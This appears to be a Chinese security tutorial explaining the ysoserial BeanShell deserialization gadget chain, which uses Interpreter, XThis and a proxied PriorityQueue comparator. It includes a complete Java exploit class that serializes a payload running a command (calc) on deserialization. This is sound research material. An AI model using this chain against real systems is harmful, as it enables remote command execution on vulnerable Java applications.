Java反序列化之BeanShell
BeanShell简介
BeanShell 是一个小型的 , 免费的 , 可嵌入的Java源代码解释器 , 具有使用Java编写的对象脚本语言功能。BeanShell 能够执行标准的 Java 语句和表达式 , 也可以使用通用的脚本语言约定和语法将 Java 扩展到脚本域。
分析
先了解两个类
Interpreter
bash.Interpreter
就是BeanShell
内置的脚本解释器,该类有两个主要方法set
和eval
,set
方法用于设置变量,eval
用于执行脚本。
String func="exec(cmd){java.lang.Runtime.getRuntime().exec(cmd);}";
Interpreter interpreter=new Interpreter();
interpreter.eval(func); //设置函数
interpreter.eval("exec(\"calc\")"); //调用函数
在Interpreter
中有一个NameSpace
,也就是命名空间,其中保存了方法,变量,引入包的命名空间
XThis
bsh.This
是Bsh的脚本对象类型,一个This
对象中存储了NameSpace
和Interpreter
,XThis
就是This
的子类。在Xthis
中有个invokeMethod
方法,通过这个方法我们可以直接调用已定义的函数。
测试一下
String func="exec(cmd){java.lang.Runtime.getRuntime().exec(cmd);}";
Interpreter interpreter=new Interpreter();
interpreter.eval(func);
XThis xThis=new XThis(interpreter.getNameSpace(),interpreter);
xThis.invokeMethod("exec",new Object[]{"calc"});
XThis
在This
基础上添加了代理接口的支持,在XThis
中有一个内部Handler
,实现了InvocationHandler
接口并重写了invoke
方法
跟进invokeImpl
方法
对equals
和toString
方法进行了针对性的处理,其他方法使用invokeMethod
调用。也就是说,将XThis
对象作为bsh脚本对象的代理类,通过动态代理即可调用Bsh脚本中定义的方法。
EXP构造
ysoserial
中给出的利用链是通过反序列化PriorityQueue
调用到其中的Comparator
的compare
方法,使用XThis
中的Handler
动态代理Comparator
,就会通过Handler
中的invoke
调用bsh
脚本对象中的compare
方法,我们自定义一个恶意的compare
即可。感觉跟cc1还是有一点像的,都是利用动态代理的机制调用到invoke
。
exp
import bsh.EvalError;
import bsh.Interpreter;
import bsh.XThis;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
public class exp {
public static void main(String[] args) throws EvalError, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//定义函数
String compare="compare(Object a,Object b){new java.lang.ProcessBuilder(new String[]{\"calc\"}).start();return new Integer(1);}";
Interpreter interpreter=new Interpreter();
interpreter.eval(compare);
//创建XThis对象
XThis xThis=new XThis(interpreter.getNameSpace(),interpreter);
//获取handler
Field invocationHandlerf=xThis.getClass().getDeclaredField("invocationHandler");
invocationHandlerf.setAccessible(true);
InvocationHandler invocationHandler= (InvocationHandler) invocationHandlerf.get(xThis);
//创建PriorityQueue对象
PriorityQueue<Object> priorityQueue=new PriorityQueue<>(2);
priorityQueue.add("1");
priorityQueue.add("2");
//创建Comparator对象
Comparator<Object> comparator= (Comparator<Object>) Proxy.newProxyInstance(Comparator.class.getClassLoader(),new Class<?>[]{Comparator.class},invocationHandler);
//设置代理的Comparator
Field comparatorf=priorityQueue.getClass().getDeclaredField("comparator");
comparatorf.setAccessible(true);
comparatorf.set(priorityQueue,comparator);
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeObject(priorityQueue);
oser.close();
System.out.println(ser);
ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
Object newobj=unser.readObject();
}
}
参考文章
https://su18.org/post/ysoserial-su18-5/#beanshell